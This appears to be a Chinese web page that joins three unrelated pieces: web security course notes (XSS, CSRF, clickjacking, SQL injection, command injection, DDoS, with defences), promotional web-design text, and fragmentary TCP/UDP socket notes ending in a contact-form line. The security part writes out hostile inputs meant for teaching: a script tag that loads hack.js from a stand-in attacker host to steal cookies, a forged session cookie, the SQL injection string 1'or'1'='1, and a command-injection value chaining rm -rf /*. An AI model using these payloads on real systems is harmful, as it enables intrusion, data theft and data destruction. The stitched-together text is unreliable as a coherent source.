XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。「跨站脚本攻击」是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的HTML标签或JavaScript 进⾏的⼀种攻击。
跨站脚本攻击有可能造成以下影响:
xss攻击分类
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0=
// 评论
<script>alert(1)</script>
// 跨站脚本注⼊入
我来了了<script src="http://localhost:4000/hack.js"></script>XSS攻击的危害 - Scripting能⼲啥就能⼲啥
XSS攻击的危害 - Scripting能⼲啥就能⼲啥
防范⼿段
ejs转义⼩知识
<% code %>⽤用于执行其中javascript代码;
<%= code %>会对code进行html转义;
<%- code %>将不会行转义
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪一下就不行了
「内容安全策略」 (CSP, Content Security Policy) 是⼀个附加的安全层,⽤于帮助检测和缓解 某些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃 取到⽹站破坏或作为恶意软件分发版本等⽤途。
CSP 本质上就是建⽴⽩名单,开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们 只需要配置规则,如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少 XSS 攻击。
⽤户的输⼊永远不可信任的,最普遍的做法就是转义输⼊输出的内容,对于引号、尖括号、斜 杠进⾏转义,对于富⽂本来说,显然不能通过上⾯的办法来转义所有字符,因为这样会把需要的格式也过滤掉。 对于这种情况,通常采⽤⽩名单过滤的办法,当然也可以通过⿊名单过滤,但是考虑到需要过 滤的标签和标签属性实在太多,更加推荐使⽤⽩名单的⽅式。
HttpOnly Cookie
这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应 ⽤程序在设置cookie时,将 其属性设为HttpOnly,就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取,保护⽤ 户cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
CSRF(Cross Site Request Forgery),即跨站请求伪造,是⼀种常⻅的Web攻击,它利⽤⽤户已 登录的身份,在⽤户毫不知情的情况下,以⽤户的名义完成⾮法操作。
登录 http://localhost:4000/csrf.html
CSRF攻击危害
防御
点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃ ⼰的⽹⻚中,并将 iframe 设置为透明,在⻚⾯中透出⼀个按钮诱导⽤户点击。
// 登录
http://localhost:4000/clickjacking.html
防御
X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头 就是为了防御⽤ iframe 嵌套的点击劫持攻击。
该响应头有三个值可选,分别是
ctx.set('X-FRAME-OPTIONS', 'DENY')
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时,攻击者的⽹⻚直接不显示所有内容了。
// 填⼊入特殊密码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御
// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤用户输入的参数 */};
exec(`git clone ${params.repo} /some/path`);
// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤用户输入的参数 */};
exec(`git clone ${params.repo} /some/path`);
如果传⼊的参数是会怎样
https://github.com/xx/xx.git && rm -rf /* &&
顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期 的ip
http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮⼀峰
DDOS (distributed denial of service)不是⼀种攻击,⽽是⼀⼤类攻击的总称。它有⼏⼗种类型,新的攻击⽅法还在不断发明出来。 ⽹站运⾏的各个环节,都可以是攻击⽬标。只要把⼀个环节攻破,使得整个流程跑不起来,就达到了 瘫痪服务的⽬的。
其中,⽐较常⻅的⼀种攻击是 cc 攻击。它就是简单粗暴地送来⼤量正常的请求,超出服务器的最⼤承 受量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界⼤概20多个 IP 地址轮流发出请求,每个 地址的请求量在每秒200次~300次。我看访问⽇志的时候,就觉得那些请求像洪⽔⼀样涌来,⼀眨眼 就是⼀⼤堆,⼏分钟的时间,⽇志⽂件的体积就⼤了100MB。说实话,这只能算⼩攻击,但是我的个 ⼈⽹站没有任何防护,服务器还是跟其他⼈共享的,这种流量⼀来⽴刻就下线了。
防御⼿段
网页制作怎么弄:先确定网站风格。“风格”是抽象的,指访问者对网站整体形象的综合感受。这个“整体形象”包括CI(徽标、颜色、字体、口号)、布局、浏览方法、交互性、文本、颜色、内容价值和网站的许多其他因素。网站可以是平易近人的、活泼的,也可以是专业而严肃的。
设计网站标语。也可以说,网站的精神、主题和中心,或者网站的目标,可以用一句话或一句话高度概括。使用有力的词语或词汇来总结网站并进行外部宣传,您可以收到更好的结果。
创意内容选择
好的内容选择需要好的创造力。作为一名网页设计师,最麻烦的是没有好的内容创意。网络上最具创意的想法来自虚拟与现实的结合。创意的目的是更好地宣传和推广网站。如果创意不错,但对网站的发展毫无意义,那么网站设计者和制作人也应该放弃这种创意。此外,主页的内容是网站的根。如果内容是空的,无论页面多么精致,用户仍然很少。基本上,网站内容仍然控制着网站流量,内容为王仍然是个人网站成功的关键。
Div css布局。这是专业生产的唯一方式。网络元素依赖它来构建基本框架,如百度空间、QQ空间皮肤等。
数据库是动态网页的基础,如百度对问题的回答,包括阅读、书写、修改和删除数据库。常见的数据库包括mysql、mssql、access等。数据库是所有软件的基础。80多个应用程序涉及数据库。至于网页制作,不需要深入研究。
动态语言,asp,php,jsp,。Net(c#等)。为了操作数据库,交互需要动态语言。现在许多动态语言,如php,都有“框架”。用框架建造车站就像用预制房屋的一部分建造房屋一样。所有这些都是你自己写的,就像建造一座砖房一样。
# 一 外网通信与P2P
生活中,我们普遍使用的网络都是外网通信,像微信、支付宝这些应用,当然也有许多内网的应用(企业内部视频会议,VPN等等),此文暂且不表;
外网通信开发中需要知道外网IP与端口, IP38(一个可以查询IP地址或域名的网站)上可以看到外网IP, 但是如果你是路由器上网, 那么需要作端口映射。
### 1.微信与QQ的通信了解
微信通讯中使用了HTTP短连接和TCP长连接,并没有用到UDP,其中登陆验证和头像身份信息及日志等功能采用的HTTP,文本消息、语音消息、视频消息、图片消息这些使用的是TCP长连接。通过心跳包来维护长连接状态,300S一个心跳 ,微信视频聊天是UDP,信息是TCP。(可以通过随身WIFI,用wireshark抓一下包就知道了)引:https://www.oschina.net/question/104204_112824
QQ登陆时采用TCP协议和HTTP协议,和好友之间发送消息主要采用UDP协议,内网传文件采用了P2P技术。
1.登陆过程,客户端client 采用TCP协议向服务器server发送信息,HTTP协议下载信息。登陆之后,会有一个TCP连接来保持在线状态。2.和好友发消息,客户端client采用UDP协议,但是需要通过服务器转发。腾讯为了确保传输消息的可靠,采用上层协议来保证可靠传输。如果消息发送失败,客户端会提示消息发送失败,并可重新发送。3.如果是在内网里面的两个客户端传文件,QQ采用的是P2P技术,不需要服务器中转。如果单就QQ用户消息的传递而言:最早年是UDP,而且是P2P的。原因前面很多同学提了。1)P2P的UDP穿透容易。这个应该是主要原因。2)UDP成本低。用过老QQ应该还记得很多时候有消息无法传递到对端的事情。有人还记得当年的QQ可以查看对方的地点吗。就是通过IP转换查询得到的。当然使用UDP并不完美呀。安全问题就很麻烦。现在,如果没记错后面都是TCP的了。而且已经都是C/S架构的了。主要改进的原因还是安全吧。改进的时间应该在06年左右。当然其他很多东西的传输也还有走UDP的。
王者荣耀更新:模仿TCP的UDP协议(腾讯自己封装)
TCP完整通信过程
1.创建套接字socket;2.绑定bind;3.监听listen;
4.对方主动连接connect-接收连接请求accept(会创建新的套接字);
5.使用新的套接字通信send/write-对方revc/read;
6.close
TCP、UDP优缺点比较
UDP占有系统资源少,可能会丢包
TCP是可靠的传输。下载时,telnet时....
UDP是不可靠传输。视频,语音聊天....
### 2.TCP/UDP/HTTP 详解
TCP和UDP使用IP协议从一个网络传送数据包到另一个网络。把IP想像成一种高速公路,它允许其它协议在上面行驶并找到到其它电脑的出口。TCP和UDP是高速公路上的“卡车”,它们携带的货物就像HTTP,文件传输协议FTP这样的协议等。TCP和UDP是FTP,HTTP和SMTP之类使用的传输层协议。虽然TCP和UDP都是用来传输其他协议的,它们却有一个显著的不同:TCP提供有保证的数据传输,而UDP不提供。这意味着TCP有一个特殊的机制来确保数据安全的不出错的从一个端点传到另一个端点,而UDP不提供任何这样的保证。HTTP(超文本传输协议)是利用TCP在两台电脑(通常是Web服务器和客户端)之间传输信息的协议。客户端使用Web浏览器发起HTTP请求给Web服务器,Web服务器发送被请求的信息给客户端。记住,需要IP协议来连接网络;TCP是一种允许我们安全传输数据的机制,使用TCP协议来传输数据的HTTP是Web服务器和客户端使用的特殊协议。Socket 接口是TCP/IP网络的API,Socket接口定义了许多函数或例程,用以开发TCP/IP网络上的应用程序。
TCP/IP握手详解:https://blog.csdn.net/huangshulang1234/article/details/79061438
TCP&UDP几种常见IO模型
1.TCP并发阻塞IO:多线程实现
多进程实现,出现无法连接时有可能端口被占用;
IO多路复用
#### Socket编程(TCP/UDP的API)
通讯步骤(UDP为主 升级到TCP):
①申请socket套接字 skt_fd = socket( AF_INET, SOCK_STREAM, 0);
/*AF_INET:使用IPV4的协议 SOCK_STREAM:使用tcp通信 0:使用标准协议,返回一个针对网络操作钥匙*/
②服务端
/*绑定IP地址结构体和套接字,实现资源初始化*/
rtv = bind(skt_fd, (struct sockaddr *)&skt_addr, sizeof(skt_addr));
{/*监听:设置网络最大同时通信数量:2*/
rtv = listen(skt_fd, 2);

}
客户端
connect连接 rtv = connect(skt_fd, (struct sockaddr *)&skt_addr, sizeof(skt_addr));/*skt_addr是IPV4结构体sockaddr_in对象*/

1.htonl(INADDR_ANY);//登记本机所有网卡
③收rtv = read(clt_fd, buf, sizeof(buf));发rtv=write(skt_fd,buf,sizeof(buf));
sendto(skt_fd, buf, sizeof(buf),0,(struct sockaddr *)&clt_addr, &len );
recvFrom
④关闭close(skt_fd);
bind的端就叫发送端,谁先接收谁绑定bind bind自己的IP 两边都绑定
接收端bind后占用解除 sinsize = 1;
一个套接字建立一个连接,connect只用使用一次 客户端/服务端都一样
收发函数send() recv()
字符串转整数函数:atoi()
四类网络地址(传统32位)-通俗讲解
A:第一字节网络地址 二三四字节主机地址 0开始
B:二 10
C:三 110
D:
一般不用0和255
前三个数第一个不可以是0,其他2个数为0~255任意数,我们就拿最后一个数(也就是Ip二进制后8位)来说吧,可用的IP地址一般不是以0或255结尾,以0结尾的一般表示网络地址,255结尾的是广播地址,也就是说我们用的IP地址是1~254结尾之间的,这其中以1或254结尾的地址常常会用作网关地址,所以我们电脑用的ip后面一般是1~253或2~254之间的数结尾的。
IP地址分类 C类网络号占三段(24位)
IP数据报重组:分片发生在路由上 重组在目的主机 数据包首部包含分片信息
TCP四次握手:SYN建立连接 FIN关闭连接 ACK响应 PSH有DATA数据传输 RST连接重置 首部报文包含内容 URG=1紧急封包
## 动起来
### 1.小项目
上面说了一大堆理论知识,现在让我们来亲手实践一下,用最简单的tcp/ip协议来实现一个简单的局域网通信小程序吧;
①
②
③
④
⑤
### 2.中等实例
带UI多人局域网聊天
### 3.网络服务器
多人群聊
文件传输
在线视频
## 二 联网技术应用及DLNA介绍
https://blog.csdn.net/gebitan505/article/details/19497545
使用Platium库开发dlna投屏功能:https://blog.csdn.net/w_z_z_1991/article/details/52926219 里面介绍很好
《智能家庭网络:技术、标准与应用实践》
https://openconnectivity.org/developer/developer-kit
电脑控制手机:Vysor https://blog.csdn.net/nongminkouhao/article/details/81265820
## 三 常见的网络开发问题
### 1.C10K(10000 connection)
描述:
解决方案:
### 2.音视频传输
延时 包的大小 图像/视频压缩 内/外网
### 3.并发处理
1.epoll这种可以支持成千上万tcp并发连接
2.udp模拟tcp,udp缺点及优化
3.TCP维持多人同时在线是个问题[1], 涉及到服务器数量,系统调优,编程手段等很多方面
4.QQ UDP丢包重发机制(缓存MTU设置 头部信息 切包 编号 多线程收发)
### 4.多线程与互斥锁(解决并发问题)

## 常见的网络通信流程(每层对应的硬件有哪些)及通信流程解析
例:QQ->物理层(网卡,厂商提供) 数据链路层(网卡驱动 通信协议)
会话层:登录 加密算法 应用层:QQ界面程序 表示层:解密
路由器 交换机:①网路层(ip协议,路由:数据发送路径[路由协议(算法)用来解决何种效率最高])②数据链路层(安全 效率)路由器国内研发主要方向:优化协议 算法 虚拟网卡->软件代替硬件 什么是AP QOS模式,带双WAN 下载续传
路由表-数据结构,算法算出最高效路径端口号(0-65535,2个字节,16位二进制,实际从1024开始用,之前有大部分有系统用)
即时聊天架构解析(即时通讯网 http://www.52im.net/thread-33-1-1.html)
1.登陆过程,客户端client 采用TCP协议向服务器server发送信息,HTTP协议下载信息。登陆之后,会有一个TCP连接来保持在线状态。
2.和好友发消息,客户端client采用UDP协议,但是需要通过服务器转发。腾讯为了确保传输消息的可靠,采用上层协议来保证可靠传输。如果消息发送失败,客户端会提示消息发送失败,并可重新发送。
3.如果是在内网里面的两个客户端传文件,QQ采用的是P2P技术,不需要服务器中转。
## 好书、资料推荐
《C++设计新思维泛型编程与设计模式之应用》
详细的网络IO模式及流程(讲得很详细):https://www.cnblogs.com/xiehongfeng100/p/4763225.html
DDos攻击的原理:listen有一个队列,处理连接请求。在收到匿名IP发过来的SYN之后,会在listen队列中存放一个记录,但是队列容量是有限的,当这样的恶意请求过多的时候,listen队列里就塞满了这些无效的连接请求,然后装不下更多的连接记录了,所以就拒绝其他请求
REST是什么?怎么用:http://www.cnblogs.com/alex3714/articles/6808013.html
qps和并发:https://blog.csdn.net/leyangjun/article/details/64131491
fastrpc(高性能 c++ 服务器框架, 协程rpc框架):[https://www.oschina.net/p/python-fastrpc][https://enterprise.gitee.com/feimat/fastrpc]
ACE:https://blog.csdn.net/calmreason/article/details/50757535
c socket https://www.cnblogs.com/kefeiGame/p/7246942.html
Http请求与tinyHttpd服务器:http://www.cnblogs.com/qiyeboy/p/6296387.html
Github:https://github.com/kjiawei/smartHome

*请认真填写需求信息,我们会在24小时内与您取得联系。